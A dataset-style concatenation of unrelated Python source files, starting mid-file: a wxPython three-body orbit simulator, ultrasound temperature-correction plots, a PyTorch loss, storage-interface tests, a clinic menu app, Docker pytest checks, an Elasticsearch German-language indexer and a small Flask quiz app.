grid.Add(self.m2_yvel_label, pos=(4, 6))\n self.m2_zvel_label = wx.StaticText(self, label=\" z-vel: \")\n grid.Add(self.m2_zvel_label, pos=(5, 6))\n self.m6_xvel_label = wx.StaticText(self, label=\" x-vel: \")\n grid.Add(self.m6_xvel_label, pos=(6, 6))\n self.m6_yvel_label = wx.StaticText(self, label=\" y-vel: \")\n grid.Add(self.m6_yvel_label, pos=(7, 6))\n self.m6_zvel_label = wx.StaticText(self, label=\" z-vel: \")\n grid.Add(self.m6_zvel_label, pos=(8, 6))\n\n # mass labels\n self.mass1_label = wx.StaticText(self, label=\" mass: \")\n grid.Add(self.mass1_label, pos=(1, 0))\n self.mass2_label = wx.StaticText(self, label=\" mass: \")\n grid.Add(self.mass2_label, pos=(4, 0))\n self.mass3_label = wx.StaticText(self, label=\" mass: \")\n grid.Add(self.mass3_label, pos=(7, 0))\n\n # position textboxes\n self.m1_xpos = wx.lib.masked.NumCtrl(self, autoSize=False,\n fractionWidth=2)\n grid.Add(self.m1_xpos, pos=(0, 4))\n self.m1_ypos = wx.lib.masked.NumCtrl(self, autoSize=False,\n fractionWidth=2)\n grid.Add(self.m1_ypos, pos=(1, 4))\n self.m1_zpos = wx.lib.masked.NumCtrl(self, autoSize=False,\n fractionWidth=2)\n grid.Add(self.m1_zpos, pos=(2, 4))\n self.m2_xpos = wx.lib.masked.NumCtrl(self, autoSize=False,\n fractionWidth=2)\n grid.Add(self.m2_xpos, pos=(3, 4))\n self.m2_ypos = wx.lib.masked.NumCtrl(self, autoSize=False,\n fractionWidth=2)\n grid.Add(self.m2_ypos, pos=(4, 4))\n self.m2_zpos = wx.lib.masked.NumCtrl(self, autoSize=False,\n fractionWidth=2)\n grid.Add(self.m2_zpos, pos=(5, 4))\n self.m3_xpos = wx.lib.masked.NumCtrl(self, autoSize=False,\n fractionWidth=2)\n grid.Add(self.m3_xpos, pos=(6, 4))\n self.m3_ypos = wx.lib.masked.NumCtrl(self, autoSize=False,\n fractionWidth=2)\n grid.Add(self.m3_ypos, pos=(7, 4))\n self.m3_zpos = wx.lib.masked.NumCtrl(self, autoSize=False,\n fractionWidth=2)\n grid.Add(self.m3_zpos, pos=(8, 4))\n\n # velocity textboxes\n self.m1_xvel = wx.lib.masked.NumCtrl(self, autoSize=False,\n fractionWidth=2)\n grid.Add(self.m1_xvel, pos=(0, 7))\n self.m1_yvel = wx.lib.masked.NumCtrl(self, autoSize=False,\n fractionWidth=2)\n grid.Add(self.m1_yvel, pos=(1, 7))\n self.m1_zvel = wx.lib.masked.NumCtrl(self, autoSize=False,\n fractionWidth=2)\n grid.Add(self.m1_zvel, pos=(2, 7))\n self.m2_xvel = wx.lib.masked.NumCtrl(self, autoSize=False,\n fractionWidth=2)\n grid.Add(self.m2_xvel, pos=(3, 7))\n self.m2_yvel = wx.lib.masked.NumCtrl(self, autoSize=False,\n fractionWidth=2)\n grid.Add(self.m2_yvel, pos=(4, 7))\n self.m2_zvel = wx.lib.masked.NumCtrl(self, autoSize=False,\n fractionWidth=2)\n grid.Add(self.m2_zvel, pos=(5, 7))\n self.m3_xvel = wx.lib.masked.NumCtrl(self, autoSize=False,\n fractionWidth=2)\n grid.Add(self.m3_xvel, pos=(6, 7))\n self.m3_yvel = wx.lib.masked.NumCtrl(self, autoSize=False,\n fractionWidth=2)\n grid.Add(self.m3_yvel, pos=(7, 7))\n self.m3_zvel = wx.lib.masked.NumCtrl(self, autoSize=False,\n fractionWidth=2)\n grid.Add(self.m3_zvel, pos=(8, 7))\n\n # mass textboxes\n self.m1_mass = wx.lib.masked.NumCtrl(self, autoSize=False,\n fractionWidth=2)\n grid.Add(self.m1_mass, pos=(1, 1))\n self.m2_mass = wx.lib.masked.NumCtrl(self, autoSize=False,\n fractionWidth=2)\n grid.Add(self.m2_mass, pos=(4, 1))\n self.m3_mass = wx.lib.masked.NumCtrl(self, autoSize=False,\n fractionWidth=2)\n grid.Add(self.m3_mass, pos=(7, 1))\n\n # add color choice boxes\n self.colors = ['red', 'orange', 'yellow', 'green',\n 'blue', 'magenta', 'white']\n self.color_1_label = wx.StaticText(self, label=\" color: \")\n grid.Add(self.color_1_label, pos=(2, 0))\n self.m1_color_choice = wx.Choice(self, choices=self.colors)\n grid.Add(self.m1_color_choice, pos=(2, 1))\n self.color_2_label = wx.StaticText(self, label=\" color: \")\n grid.Add(self.color_2_label, pos=(5, 0))\n self.m2_color_choice = wx.Choice(self, choices=self.colors)\n grid.Add(self.m2_color_choice, pos=(5, 1))\n self.color_3_label = wx.StaticText(self, label=\" color: \")\n grid.Add(self.color_3_label, pos=(8, 0))\n self.m3_color_choice = wx.Choice(self, choices=self.colors)\n grid.Add(self.m3_color_choice, pos=(8, 1))\n\n # set default colors for each mass\n self.m1_color_choice.SetStringSelection('yellow')\n self.m2_color_choice.SetStringSelection('green')\n self.m3_color_choice.SetStringSelection('red')\n\n # create a button to submit values\n # i_c_set tells you what input to accept for initial conditions\n # where 0 = user input (default), 1 = stable orbit, 2 = binary\n i_c_set = 0\n self.submit_button = wx.Button(self, label=\" GO \", size=(100, 30))\n grid.Add(self.submit_button, pos=(10, 3))\n # create 2 buttons for example orbits\n self.stable_button = wx.Button(self, label=\" Circular Orbits \",\n size=(100, 30))\n grid.Add(self.stable_button, pos=(10, 4))\n self.binary_button = wx.Button(self, label=\" Binary Orbit \",\n size=(100, 30))\n grid.Add(self.binary_button, pos=(10, 6))\n self.moon_button = wx.Button(self, label=\" Moon-like \",\n size=(100, 30))\n grid.Add(self.moon_button, pos=(10, 7))\n\n # add a text box for animation speed\n self.speed_label = wx.StaticText(self, label=\" Animation Speed: \")\n grid.Add(self.speed_label, pos=(9, 0))\n self.speed_val = wx.lib.masked.NumCtrl(self, autoSize=False,\n value=100)\n grid.Add(self.speed_val, pos=(9, 1))\n\n # setting up menu\n filemenu = wx.Menu()\n\n # wx.ID_ABOUT and wx.ID_EXIT are standard IDs provided by wxWidgets\n # give names to the following things\n menuAbout = filemenu.Append(wx.ID_ABOUT, \"&About\",\n \" Click for info about the application\")\n filemenu.AppendSeparator()\n menuExit = filemenu.Append(wx.ID_EDIT, \"&Exit\", \" Exit the program\")\n\n # Creating the menubar\n menuBar = wx.MenuBar()\n menuBar.Append(filemenu, \"&File\") # adding the \"filename\" to the...\n self.SetMenuBar(menuBar) # adding the menubar for the frame content\n\n # set events:\n self.Bind(wx.EVT_MENU, self.OnAbout, menuAbout)\n self.Bind(wx.EVT_MENU, self.OnExit, menuExit)\n self.Bind(wx.EVT_BUTTON, self.OnClickDefault, self.submit_button)\n self.Bind(wx.EVT_BUTTON, self.OnClickStable, self.stable_button)\n self.Bind(wx.EVT_BUTTON, self.OnClickBinary, self.binary_button)\n self.Bind(wx.EVT_BUTTON, self.OnClickMoon, self.moon_button)\n\n # grid and window initialization\n hSizer.Add(grid, 0, wx.ALL, 5)\n mainSizer.Add(hSizer, 0, wx.ALL, 5)\n self.SetSizerAndFit(mainSizer)\n self.Show(True)\n\n # What happens on certain clicks\n def OnAbout(self, e):\n # An \"about message with a dialogue box\n dlg = wx.MessageDialog(self, \"An applet that \"\n \"simulates the 3 Body Probelm. Tip: Try\"\n \" setting the animation speed to '365' !\",\n \"Jarred Green 2016.\", wx.OK)\n dlg.ShowModal() # show it\n dlg.Destroy() # close window when finished\n\n # when you slick the \"stable orbit\" button, set i_c to specific parameters\n def OnClickDefault(self, e): # user input\n self.OnClickGo(e, 0)\n\n def OnClickStable(self, e): # stable orbit\n self.OnClickGo(e, 1)\n\n def OnClickBinary(self, e): # binary orbit\n self.OnClickGo(e, 2)\n\n def OnClickMoon(self, e): # earth-sun-moon system\n self.OnClickGo(e, 3)\n\n def OnClickGo(self, e, i_c_set):\n ''' when you click the button, this def grabs the\n values from all the text boxes and stores them as vars\n beginning with 'i_' to signify 'initial'\n\n i_c is the array containing all the initial conditions that\n will be passed to the Visual Python spheres\n the following checks which button was pressed\n 0 is GO, 1 = stable orbit example, 2 = binary orbit example '''\n if i_c_set == 0:\n\n # pull values from NumCtrl \n i_c = [self.m1_mass.GetValue(), self.m2_mass.GetValue(),\n self.m3_mass.GetValue(), self.m1_xpos.GetValue(),\n self.m1_ypos.GetValue(), self.m1_zpos.GetValue(),\n self.m1_xvel.GetValue(), self.m1_yvel.GetValue(),\n self.m1_zvel.GetValue(), self.m2_xpos.GetValue(),\n self.m2_ypos.GetValue(), self.m2_zpos.GetValue(),\n self.m2_xvel.GetValue(), self.m2_yvel.GetValue(),\n self.m2_zvel.GetValue(), self.m3_xpos.GetValue(),\n self.m3_ypos.GetValue(), self.m3_zpos.GetValue(),\n self.m3_xvel.GetValue(), self.m3_yvel.GetValue(),\n self.m3_zvel.GetValue()]\n\n elif i_c_set == 1:\n # stable orbit parameters\n i_c = [1., 50., 5., -5., 0., 0., 0., 3., 0., 0., 0., 0., 0., 0.,\n 0., 15., 0., 0., 0., -2., 0.]\n\n elif i_c_set == 2:\n # binary system parameters\n i_c = [10., 10., 10., 10., 0., 0., 0., 1., 0., -10., 0., 3., -0.3,\n -1., 0.5, 0., 0., 0., 0., 0.1, 0.1]\n\n else:\n # sun-earth-moon system parameters\n i_c = [5000., 74.48, 1., 0., 0., 0., 0., 0., 0., 100., 0., 0., 0.,\n 6.32, 0., 102., 0., 0., 0., 0.01, 0.]\n\n # open the Visual Python window\n scene = display(title='Celestial Magic',\n x=50, y=50, width=500, height=500)\n\n # these are the attributes that will be selected by the dropdown menus\n color_codes = [color.red, color.orange, color.yellow, color.green,\n color.blue, color.magenta, color.white]\n\n # Initialize the three masses, using the Visual Python attributes\n m1 = sphere(\n pos=vector(i_c[3], i_c[4], i_c[5]),\n vel=vector(i_c[6], i_c[7], i_c[8]),\n mass=i_c[0],\n color=color_codes[self.m1_color_choice.GetSelection()],\n make_trail=True,\n interval=2,\n retain=100000\n )\n\n m2 = sphere(\n pos=vector(i_c[9], i_c[10], i_c[11]),\n vel=vector(i_c[12], i_c[13], i_c[14]),\n mass=i_c[1],\n color=color_codes[self.m2_color_choice.GetSelection()],\n make_trail=True,\n interval=2,\n retain=100000\n )\n\n m3 = sphere(\n pos=vector(i_c[15], i_c[16], i_c[17]),\n vel=vector(i_c[18], i_c[19], i_c[20]),\n mass=i_c[2],\n color=color_codes[self.m3_color_choice.GetSelection()],\n make_trail=True,\n interval=2,\n retain=100000\n )\n\n # code for the earth-like easter egg :D\n if self.speed_val.GetValue() == 365:\n for i in [m1, m2, m3]:\n i.color = color.white\n i.material = materials.earth\n\n # move the frame to the center of mass\n # also, adjust the sizes of the spheres for constant density\n\n vcenter = ((m1.mass * m1.vel + m2.mass * m2.vel + m3.mass * m3.vel) /\n (m1.mass + m2.mass + m3.mass))\n for i in [m1, m2, m3]:\n i.vel -= vcenter\n i.radius = 0.5 * i.mass ** (1.0 / 3.0)\n\n def dydt(y):\n # calculate the derivative of the vector y\n deriv = zeros((6, 3), dtype=vector)\n radius_12 = y[0] - y[2]\n radius_23 = y[2] - y[4]\n radius_31 = y[4] - y[0]\n rad_12_c = radius_12 / mag(radius_12) ** 3.0\n rad_23_c = radius_23 / mag(radius_23) ** 3.0\n rad_31_c = radius_31 / mag(radius_31) ** 3.0\n\n # take derivatives\n deriv[1] = (-m2.mass * rad_12_c) + (m3.mass * rad_31_c)\n deriv[3] = (-m3.mass * rad_23_c) + (m1.mass * rad_12_c)\n deriv[5] = (-m1.mass * rad_31_c) + (m2.mass * rad_23_c)\n\n # copy the three velocities from y:\n deriv[0:5:2] = y[1:6:2]\n\n return deriv\n\n # dt is the timestep in computations / sec\n dt = 0.01\n\n while True:\n # the rate of the calculations\n rate(self.speed_val.GetValue())\n # rate(100)\n\n # solved using the 4th order Runge Kutta method\n y = [m1.pos, m1.vel, m2.pos, m2.vel, m3.pos, m3.vel]\n k1 = dt * dydt(y)\n k2 = dt * dydt(y + k1 / 2.0)\n k3 = dt * dydt(y + k2 / 2.0)\n k4 = dt * dydt(y + k3)\n dy = k1 / 6.0 + k2 / 3.0 + k3 / 3.0 + k4 / 6.0\n\n # now update the animation\n m1.pos += dy[0]\n m1.vel += dy[1]\n m2.pos += dy[2]\n m2.vel += dy[3]\n m3.pos += dy[4]\n m3.vel += dy[5]\n\n def OnExit(self, e):\n # close the frame\n self.Close(True)\n\n# Launch the window upon execution of the program\napp = wx.App(False)\nframe = MyWindow(None, '3 Body Problem Simulator')\napp.MainLoop()\n","repo_name":"astrojarred/threebody","sub_path":"threebody/__main__.py","file_name":"__main__.py","file_ext":"py","file_size_in_byte":17218,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"19726160870","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Feb 23 10:15:56 2023\nPython version: Python 3.8\n\n@author: Arnau Busqué Nadal \n\n\"\"\"\nimport numpy as np\nimport matplotlib.pylab as plt\nimport os\nimport scipy.signal as scsig\n\nimport src.ultrasound as US\n\n\n#%%\n########################################################\n# Paths and file names to use\n########################################################\nPath = r'G:\\Unidades compartidas\\Proyecto Cianocrilatos\\Data\\TFM'\nExperiment_folder_name = 'temperature3Dprintedvessel' # Without Backslashes\nExperiment_config_file_name = 'config.txt' # Without Backslashes\nExperiment_results_file_name = 'results.txt'\nExperiment_acqdata_file_name = 'acqdata.bin'\nExperiment_Temperature_file_name = 'temperature.txt'\nExperiment_description_file_name = 'Experiment_description.txt'\n\nMyDir = os.path.join(Path, Experiment_folder_name)\nConfig_path = os.path.join(MyDir, Experiment_config_file_name)\nResults_path = os.path.join(MyDir, Experiment_results_file_name)\nAcqdata_path = os.path.join(MyDir, Experiment_acqdata_file_name)\nTemperature_path = os.path.join(MyDir, Experiment_Temperature_file_name)\nExperiment_description_path = os.path.join(MyDir, Experiment_description_file_name)\n\n\n#%%\n########################################################\n# Load data\n########################################################\n# Config\nconfig_dict = US.load_config(Config_path)\nN_acqs = config_dict['N_acqs']\nFs = config_dict['Fs']\nSmin1 = config_dict['Smin1']\n# Smin1 = 0\n\n# Data\nTT = US.load_bin_acqs(Acqdata_path, N_acqs, TT_and_PE=False)\n\n# Temperature and CW\ntemperature_dict = US.load_columnvectors_fromtxt(Temperature_path)\ntemperature = temperature_dict['Inside']\nCw = temperature_dict['Cw']\n\n# Results\nresults_dict = US.load_columnvectors_fromtxt(Results_path)\nt = results_dict['t']\nToF = results_dict['ToF']\nd = results_dict['d']\ncorrected_d = results_dict['corrected_d']\ngood_d = results_dict['good_d']\n\n\n#%%\nax1, ax2 = plt.subplots(2)[1]\nax1.scatter(t/3600, d*1e3, marker='.', c='k')\nax1.scatter(t/3600, good_d*1e3, marker='.', c='r')\nax1.set_ylabel('d (mm)')\nax1.set_xlabel('Time (h)')\n\nax2.scatter(t/3600, temperature, marker='.', c='k')\nax2.set_ylabel('Temperature (celsius)')\nax2.set_xlabel('Time (h)')\nplt.tight_layout()\n\n\n#%%\ndef TTargmax(x):\n return US.CosineInterpMax(x, xcor=False)\n\nTTmax = np.apply_along_axis(TTargmax, 0, TT)\nL = (TTmax + Smin1) * Cw / Fs\nL0 = (TTmax + Smin1) * Cw[0] / Fs\n\n\n#%%\ntarget_L = L0[0]\ntarget_Cw = target_L * Fs / (TTmax + Smin1)\n\nfound_temperatures = np.zeros(N_acqs)\nfor i in range(N_acqs):\n found_temperatures[i] = US.water_sos2temp(target_Cw[i])\n\ncorrected_L = (TTmax + Smin1) * US.water_temp2sos(found_temperatures, 'Abdessamad', 148) / Fs\nuncorrected_temperature = np.ones(N_acqs) * temperature[0]\n\n\n#%%\nax1, ax2 = plt.subplots(2)[1]\n# ax1, ax2 = plt.subplots(2, figsize=(10,8))[1]\nax1.scatter(t/3600, uncorrected_temperature, marker='.', c='k')\nax1.scatter(t/3600, temperature, marker='.', c='r')\nax1.scatter(t/3600, found_temperatures, marker='.', c='b')\nax1.set_ylabel('Temperature (celsius)')\nax1.set_xlabel('Time (h)')\nax1.set_ylim([18.5, 22.5])\n\n# inset\naxins1 = ax1.inset_axes([0.68, 0.63, 0.3, 0.3])\naxins1.set_xlim(0, 0.08)\naxins1.set_ylim(19.65, 19.85)\nax1.indicate_inset_zoom(axins1, edgecolor=\"black\")\naxins1.scatter(t/3600, uncorrected_temperature, marker='.', c='k')\naxins1.scatter(t/3600, temperature, marker='.', c='r')\naxins1.scatter(t/3600, found_temperatures, marker='.', c='b')\naxins1.get_xaxis().set_ticks([])\naxins1.get_yaxis().set_ticks([])\n\n\n\nax2.scatter(t/3600, L0*1e3, marker='.', c='k')\nax2.scatter(t/3600, L*1e3, marker='.', c='r')\nax2.scatter(t/3600, corrected_L*1e3, marker='.', c='b')\nax2.set_ylabel('L (mm)')\nax2.set_xlabel('Time (h)')\nax2.set_ylim([99.2, 100])\n\n# inset\naxins2 = ax2.inset_axes([0.68, 0.07, 0.3, 0.3])\naxins2.set_xlim(0, 0.08)\naxins2.set_ylim(99.65, 99.675)\nax2.indicate_inset_zoom(axins2, edgecolor=\"black\")\naxins2.scatter(t/3600, L0*1e3, marker='.', c='k')\naxins2.scatter(t/3600, L*1e3, marker='.', c='r')\naxins2.scatter(t/3600, corrected_L*1e3, marker='.', c='b')\naxins2.get_xaxis().set_ticks([])\naxins2.get_yaxis().set_ticks([])\n\nplt.tight_layout()\n\n#%%\n# new_data, outliers, outliers_indexes = US.reject_outliers(data, m=0.6745)\n\n\n#%%\nidx = int(N_acqs//2)\nprint((corrected_L[idx] - L[idx])*1e6)\nprint((L[idx] - L0[idx])*1e6)\n\nprint(max(abs(temperature - found_temperatures)))","repo_name":"ArnauBN/Ultrasound","sub_path":"SP_TFM_temperature.py","file_name":"SP_TFM_temperature.py","file_ext":"py","file_size_in_byte":4434,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"42748461370","text":"\nimport torch\nimport torch.nn.functional as F\nfrom torch import nn\n\n\nclass ClassificationLoss(nn.Module):\n\n def __init__(self, input: torch.Tensor,target: torch.Tensor, nclass,weight: torch.Tensor = None):\n super(ClassificationLoss, self).__init__()\n self.input = input\n self.target = target\n self.nclass = nclass\n self.weight = weight\n # 分类损失\n def forward(self):\n one_hot = torch.zeros(self.input.shape[0], self.nclass, requires_grad=False)\n if (self.weight != None):\n one_hot = one_hot.scatter(dim=1, index=self.target.unsqueeze(dim=-1), src=self.weight.unsqueeze(dim=-1))\n else:\n one_hot = one_hot.scatter(dim=1, index=self.target.unsqueeze(dim=-1), value=1)\n\n loss = -torch.mean(one_hot * F.log_softmax(self.input, dim=1))\n return loss","repo_name":"Geralt-TYH/imbModel","sub_path":"loss.py","file_name":"loss.py","file_ext":"py","file_size_in_byte":848,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"39526503118","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\"\"\"\nAbstract Interface Provider tests\n\n basic checks for good/bad interface code:\n\n the interfaces need to have certain functions, and while\n we're not checking that the outputs match (feature), this\n is a basic check that the stated internal API of a developed\n driver matches.\n\n These checks are of an interface that has what it\n needs, and one that doesn't have everything, to test\n our CongrediBadInterfaceError & CongrediIncompatibleVersionError\n\n Feature: Check function return signatures on an abstract-method?\n\n\"\"\"\nfrom __future__ import absolute_import\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\nfrom ...utils.timing import TimedTestCase\nfrom ..interface import abstractStorageProvider, abstractStorageConsumer\nfrom ..interface import CongrediBadInterfaceError, CongrediIncompatibleVersionError\n\n\nclass good_provider(abstractStorageProvider):\n\n def _write(self, keyspace, valuespace):\n return b'ok'\n\n def _read(self, keyspace):\n return b'value'\n\n def _lockWrite(self, keyspace, valuespace):\n return b'ok'\n\n def _lockRead(self, keyspace):\n return b'value'\n\n\nclass test_interface(TimedTestCase):\n\n def test_not_implemented(self):\n self.threshold = .1\n # pylint: disable=abstract-method\n\n class bad_provider(abstractStorageProvider):\n pass\n # pylint: enable=abstract-method\n # pylint: disable=abstract-class-instantiated,no-value-for-parameter,\n # arguments-differ\n try:\n a = bad_provider()\n a.write(b'one')\n self.fail()\n except (CongrediBadInterfaceError, TypeError):\n pass\n # pylint: enable=abstract-class-instantiated,no-value-for-parameter\n\n def test_client_okay(self):\n self.threshold = .1\n provider1 = good_provider('a')\n client = abstractStorageConsumer(provider1)\n client.write(b'b', b'b')\n client.read(b'b')\n\n def test_client_mad(self):\n self.threshold = .1\n b = good_provider('a')\n\n def funk():\n return \"2.0\"\n b.version = funk\n try:\n client = abstractStorageConsumer(b)\n client.write(b'b', b'b')\n print('bad')\n except CongrediIncompatibleVersionError:\n print('good')\n c = object()\n try:\n client = abstractStorageConsumer(c)\n client.write(b'b', b'b')\n print('bad')\n except CongrediBadInterfaceError:\n print('good')\n","repo_name":"codetriage-readme-bot/congredi","sub_path":"congredi/storage/test/test_interface.py","file_name":"test_interface.py","file_ext":"py","file_size_in_byte":2602,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"74776925228","text":"# created by Sarbjeet kaur brar \nimport classes\nimport doctorMenu\nimport facilityMenu\nimport laboratoriesMenu\nimport patientMenu\n\n\n# Main entry Function\n\n\ndef main():\n option = numcheck()\n\n# this option prompt to doctor menu and show all options for Doctor\n while option != 0:\n if option == 1:\n doctorMenu.main()\n main()\n break\n \n # this option prompt to Facility menu and show all options for Facilities\n elif option == 2:\n facilityMenu.main()\n main()\n break\n # this option prompt to Laboratory menu and shows all options for Laboratory \n elif option == 3:\n laboratoriesMenu.main()\n main()\n break\n # this option prompt to patient menu and shows all options for patient\n elif option == 4:\n patientMenu.main()\n main()\n break\n else:\n print(\"Invalid Option , Enter Number 0 to 4\")\n option=numcheck()\n \n# Main Menu for application\ndef mainMenu():\n print(\"\\nWelcome to the Alberta Rural Patient Care Management System\\n\")\n print()\n option = int(input(\n \"Main Menu \\n0{:>4s} close Application\\n1{:>4s} Doctor\\n2{:>4s} Facilities\\n3{:>4s} Laboratories\\n4{:>4s} Patients\\nEnter Option :\".format(\"-\", \"-\", \"-\", \"-\", \"-\")))\n return option\n\n# check user enter entered valid type of data if used invalid option prompt user to enter right option \ndef numcheck():\n try:\n option=mainMenu()\n if type(option)==int:\n return option\n \n except ValueError:\n print(\" Wrong option Please Enter valid Number 0 to 4:\")\n option=numcheck()\n return option\n\n \n \n\n\nif __name__ == \"__main__\":\n \n main()\n","repo_name":"sarbjee/class_Project","sub_path":"management_app.py","file_name":"management_app.py","file_ext":"py","file_size_in_byte":1808,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"35858962588","text":"import pytest\n\n# can have hard coded expected value\nEXPECTED_USER_NAME: str = \"oltho\"\nEXPECTED_UID: int = 2001\nEXPECTED_USER_GROUP: str = \"oltho\"\nEXPECTED_GID: int = 2001\n\n@pytest.mark.docker\ndef test_service_account(host):\n user = host.user()\n assert user.name == EXPECTED_USER_NAME\n assert user.uid == EXPECTED_UID\n assert user.group == EXPECTED_USER_GROUP\n assert user.gid == EXPECTED_GID\n\n@pytest.mark.docker\ndef test_flask_listenning(host):\n # can fetch dynamic expected value from ENV variable WITHIN container\n env: dict = host.environment()\n expected_listen_host = env.get(\"FLASK_HOST\")\n expected_listen_port = env.get(\"FLASK_PORT\")\n assert host.socket(\n f\"tcp://{expected_listen_host}:{expected_listen_port}\").is_listening\n\n@pytest.mark.docker\ndef test_pip(host):\n env: dict = host.environment()\n expected_pip_version = env.get(\"PIP_VERSION\")\n\n assert expected_pip_version in host.run(\"pip --version\").stdout\n","repo_name":"Oltho/simple-flask-docker","sub_path":"tests/docker/test_docker.py","file_name":"test_docker.py","file_ext":"py","file_size_in_byte":964,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"8763324268","text":"import json\nfrom elasticsearch import Elasticsearch\nfrom elasticsearch.helpers import bulk\n\ndef chopping(filename, indexname):\n\twith open(filename, 'r') as file_handle:\n\t\tparsed_json = json.loads(file_handle.read())\n\t\tfor document in parsed_json[\"statements\"]:\n\t\t\tyield {\n \"_index\": indexname,\n \"rede_id\":document[\"dokument_id\"],\n \"name\":document[\"name\"],\n \"datum\":document[\"datum\"],\n \"sitzungsnummer\":document[\"sitzungsnummer\"],\n \"rede\":deleteHyphens(document[\"rede\"]),\n #\"rede\":document[\"rede\"],\n \"paragraph1\":searchParagraphs(document[\"rede\"])[0],\n \"otherParagraphs\":searchParagraphs(document[\"rede\"])[1],\n \"_type\": \"_doc\",\n } \n\ndef searchParagraphs(text):\n\tparagraphs = text.split(\"\\n\\n\")\n\t#print(paragraphs[0])\n\tif paragraphs is not None and len(paragraphs) >= 2:\n\t\treturn [paragraphs[0],\"\\n\\n\".join(paragraphs[1:])] # es ist im Prinzip wie head und tail\n\treturn [text, \"\"]\n\t\t\ndef replaceHyphens(text):\n\treturn text.replace(\"-\",\"_\")\n\ndef replaceUnderscores(text):\n\treturn text.replace(\"_\",\"-\")\n\t\ndef deleteHyphens(text):\n\treturn text.replace(\"-\",\"\")\n\n\t\ndef createIndex(es, indexname):\n\tes.indices.create(indexname, body = {\n \"settings\": {\n \"similarity\": {\n \"my_similarity\": {\n \"type\": \"BM25\",\n \"k1\": 10,\n \"b\": 0\n }\n },\n \"analysis\": {\n \"filter\": {\n\t\t#\"trigrams\": {\n # \"type\": \"ngram\",\n # \"min_gram\": 3,\n # \"max_gram\": 3\n # },\n \"german_stop\": {\n \"type\": \"stop\",\n \"stopwords\": [\"_german_\", \"for\", \"or\", \"and\", \"the\", \"is\"]\n },\n #\"german_keywords\": {\n # \"type\": \"keyword_marker\"\n #\"keywords\": [\"Beispiel\"] \n # },\n \"german_stemmer\": {\n \"type\": \"stemmer\",\n \"language\": \"light_german\"\n },\n \"synonym\" : {\n\t\t\t\"type\" : \"synonym\",\n\t\t\t\"synonyms\" : [\n\t\t\t\"sexualität => intersexuell, transsexuell, heterosexuell, bisexuell, lgbt, homosexuell, sexuell, gender\",\n\t\t\t\"g20, g-20, g 20\",\n\t\t\t\"islam => moschee, imam, muslime, moslems, koran\",\n\t\t\t\"flüchtlinge, migranten\",\n\t\t\t\"russland, russische föderation\",\n\t\t\t\"usa, vereinigte staaten\",\n\t\t\t\"wahlbeeinflussung, wahlbetrug\",\n\t\t\t\"antifaschismus => antifaschistisch\",\n\t\t\t\"rechtsextrem, rechtsradikal, rechtsextremismus\",\n\t\t\t\"linksextrem, linksradikal, linksextremismus\",\n\t\t\t\"no deal brexit => harter brexit, ungeordneter brexit\",\n\t\t\t\"merkel, bundeskanzlerin\"\n\t\t\t#\"linksgrün => links-grün, links grün\"\n\t\t\t]\n\t\t}\n },\n \"analyzer\": {\n \"rebuilt_german\": {\n \"tokenizer\": \"standard\",\n \"filter\": [\n \"lowercase\",\n #\"trigrams\",\n \"synonym\",\n #\"trigrams\",\n \"german_stop\",\n #\"german_keywords\",\n \"german_normalization\",\n \"german_stemmer\"\n #\"synonym\"\n ]\n }\n }\n }\n },\n \"mappings\": {\n\t\"properties\": {\n\t\t\"rede_id\": {\n\t\t\t\"type\": \"integer\"\n\t\t},\n\t\t\"name\": {\n\t\t\t\"type\": \"text\",\n\t\t\t\"similarity\": \"my_similarity\",\n\t\t\t\"analyzer\": \"rebuilt_german\"\n },\n \"datum\": {\n\t\t\"type\": \"text\"\n },\n \"sitzungsnummer\": {\n \t\"type\": \"text\"\n },\n \"rede\": {\n\t\t\t\"type\": \"text\",\n\t\t\t\"similarity\": \"my_similarity\",\n\t\t\t\"analyzer\": \"rebuilt_german\"\n },\n \"paragraph1\": {\n\t\t\t\"type\": \"text\",\n\t\t\t\"similarity\": \"my_similarity\",\n\t\t\t\"analyzer\": \"rebuilt_german\"\n },\n \"otherParagraphs\": {\n\t\t\t\"type\": \"text\",\n\t\t\t\"similarity\": \"my_similarity\",\n\t\t\t\"analyzer\": \"rebuilt_german\"\n }\n\t}\n }\n\t})\n\nes = Elasticsearch()\ncreateIndex(es, \"new_index\")\nbulk(es, chopping(\"protokolle5.json\", \"new_index\"))\n#curl -XDELETE 'http://localhost:9200/*' löscht alle Indizes\n\n","repo_name":"richaude/IR2","sub_path":"restructuring.py","file_name":"restructuring.py","file_ext":"py","file_size_in_byte":3818,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"16715545308","text":"import os\nfrom flask import Flask, url_for, Markup, render_template, request\nfrom flask import redirect\nfrom flask import session\n\napp = Flask(__name__)\n\napp.secret_key=os.environ[\"SECRET_KEY\"];\n\n@app.route(\"/\")\ndef render_main():\n return render_template('home.html')\n \n@app.route(\"/startOver\")\ndef startOver():\n session.clear()\n return redirect(url_for(\"render_main\"))\n \n \n@app.route(\"/quiz1\", methods=['get', 'post'])\ndef render_quiz1():\n return render_template('quiz1.html')\n \n@app.route(\"/quiz2\", methods=['get', 'post'])\ndef render_quiz2():\n if 'answer' in session:\n session.clear()\n return render_template('home.html')\n else:\n session['answer']=request.form['answer']\n return render_template('quiz2.html')\n \n@app.route(\"/quiz3\", methods=['get', 'post'])\ndef render_quiz3():\n if 'answer1' in session:\n session.clear()\n return render_template('home.html')\n else:\n session['answer1']=request.form['answer1']\n return render_template('quiz3.html')\n \n@app.route(\"/quiz4\", methods=['get', 'post'])\ndef render_quiz4():\n if 'answer2' in session:\n session.clear()\n return render_template('home.html')\n else:\n session['answer2']=request.form['answer2']\n return render_template('quiz4.html')\n \n@app.route(\"/quiz5\", methods=['get', 'post'])\ndef render_quiz5():\n if 'answer3' in session:\n session.clear()\n return render_template('home')\n else:\n session['answer3']=request.form['answer3']\n return render_template('quiz5.html')\n 